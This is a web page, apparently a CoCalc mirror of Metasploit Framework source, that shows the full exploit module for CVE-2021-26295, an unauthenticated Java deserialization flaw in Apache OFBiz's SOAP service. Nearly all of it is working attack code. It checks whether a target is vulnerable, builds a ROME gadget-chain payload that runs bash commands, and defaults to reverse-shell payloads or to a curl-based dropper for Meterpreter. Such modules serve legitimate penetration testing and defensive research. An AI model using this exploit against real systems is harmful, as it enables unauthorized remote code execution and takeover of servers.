Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/linux/http/apache_ofbiz_deserialization_soap.rb
32007 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
8
Rank = ExcellentRanking
9
10
prepend Msf::Exploit::Remote::AutoCheck
11
include Msf::Exploit::Remote::HttpClient
12
include Msf::Exploit::CmdStager
13
include Msf::Exploit::JavaDeserialization
14
15
XML_NS = {
16
'serResponse' => 'http://ofbiz.apache.org/service/',
17
'soapenv' => 'http://schemas.xmlsoap.org/soap/envelope/'
18
}.freeze
19
20
def initialize(info = {})
21
super(
22
update_info(
23
info,
24
'Name' => 'Apache OFBiz SOAP Java Deserialization',
25
'Description' => %q{
26
This module exploits a Java deserialization vulnerability in Apache
27
OFBiz's unauthenticated SOAP endpoint /webtools/control/SOAPService for
28
versions prior to 17.12.06.
29
},
30
'Author' => [
31
'yumusb', # original PoC
32
'Spencer McIntyre', # metasploit module
33
'wvu' # metasploit module
34
],
35
'References' => [
36
[ 'CVE', '2021-26295' ],
37
[ 'URL', 'https://github.com/yumusb/CVE-2021-26295-POC/blob/main/poc.py' ],
38
[ 'URL', 'https://issues.apache.org/jira/browse/OFBIZ-12167' ]
39
],
40
'DisclosureDate' => '2021-03-22', # NVD publish date
41
'License' => MSF_LICENSE,
42
'Privileged' => false,
43
'Targets' => [
44
[
45
'Unix Command',
46
{
47
'Platform' => 'unix',
48
'Arch' => ARCH_CMD,
49
'Type' => :unix_cmd,
50
'DefaultOptions' => {
51
'PAYLOAD' => 'cmd/unix/reverse_python_ssl'
52
}
53
}
54
],
55
[
56
'Linux Dropper',
57
{
58
'Platform' => 'linux',
59
'Arch' => [ARCH_X86, ARCH_X64],
60
'Type' => :linux_dropper,
61
'DefaultOptions' => {
62
'CMDSTAGER::FLAVOR' => :curl,
63
'PAYLOAD' => 'linux/x64/meterpreter_reverse_https'
64
}
65
}
66
]
67
],
68
'DefaultTarget' => 1,
69
'DefaultOptions' => {
70
'SSL' => true
71
},
72
'Notes' => {
73
'Stability' => [CRASH_SAFE],
74
'Reliability' => [REPEATABLE_SESSION],
75
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
76
}
77
)
78
)
79
80
register_options([
81
Opt::RPORT(8443),
82
OptString.new('TARGETURI', [true, 'Base path', '/'])
83
])
84
end
85
86
def check
87
# Send an empty serialized object
88
res = send_request_soap('')
89
90
unless res
91
return CheckCode::Unknown('Target did not respond to check.')
92
end
93
94
messages = {}
95
res.get_xml_document.xpath('//soapenv:Envelope/soapenv:Body/serResponse:serResponse/serResponse:map-HashMap/serResponse:map-Entry', XML_NS).each do |entry|
96
key = entry.xpath('serResponse:map-Key/serResponse:std-String/@value', XML_NS).to_s
97
messages[key] = entry.xpath('serResponse:map-Value/serResponse:std-String/@value', XML_NS).to_s
98
end
99
100
if messages['errorMessage']&.start_with?('Problem deserializing object from byte array')
101
return CheckCode::Vulnerable('Target can deserialize arbitrary data.')
102
end
103
104
CheckCode::Safe('Target cannot deserialize arbitrary data.')
105
end
106
107
def exploit
108
print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")
109
110
case target['Type']
111
when :unix_cmd
112
execute_command(payload.encoded)
113
when :linux_dropper
114
execute_cmdstager
115
end
116
end
117
118
def execute_command(cmd, _opts = {})
119
vprint_status("Executing command: #{cmd}")
120
121
res = send_request_soap(
122
# framework/webapp/lib/rome-0.9.jar
123
generate_java_deserialization_for_command('ROME', 'bash', cmd)
124
)
125
126
unless res && res.code == 200
127
fail_with(Failure::UnexpectedReply, "Failed to execute command: #{cmd}")
128
end
129
130
print_good("Successfully executed command: #{cmd}")
131
end
132
133
def send_request_soap(data)
134
send_request_cgi(
135
'method' => 'POST',
136
'uri' => normalize_uri(target_uri.path, '/webtools/control/SOAPService'),
137
'ctype' => 'text/xml',
138
'data' => <<~XML
139
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
140
<soapenv:Header/>
141
<soapenv:Body>
142
<ser>
143
<map-HashMap>
144
<map-Entry>
145
<map-Key>
146
<cus-obj>#{Rex::Text.to_hex(data, '')}</cus-obj>
147
</map-Key>
148
<map-Value>
149
<std-String value="http://#{Faker::Internet.domain_name}"/>
150
</map-Value>
151
</map-Entry>
152
</map-HashMap>
153
</ser>
154
</soapenv:Body>
155
</soapenv:Envelope>
156
XML
157
)
158
end
159
160
end
161
162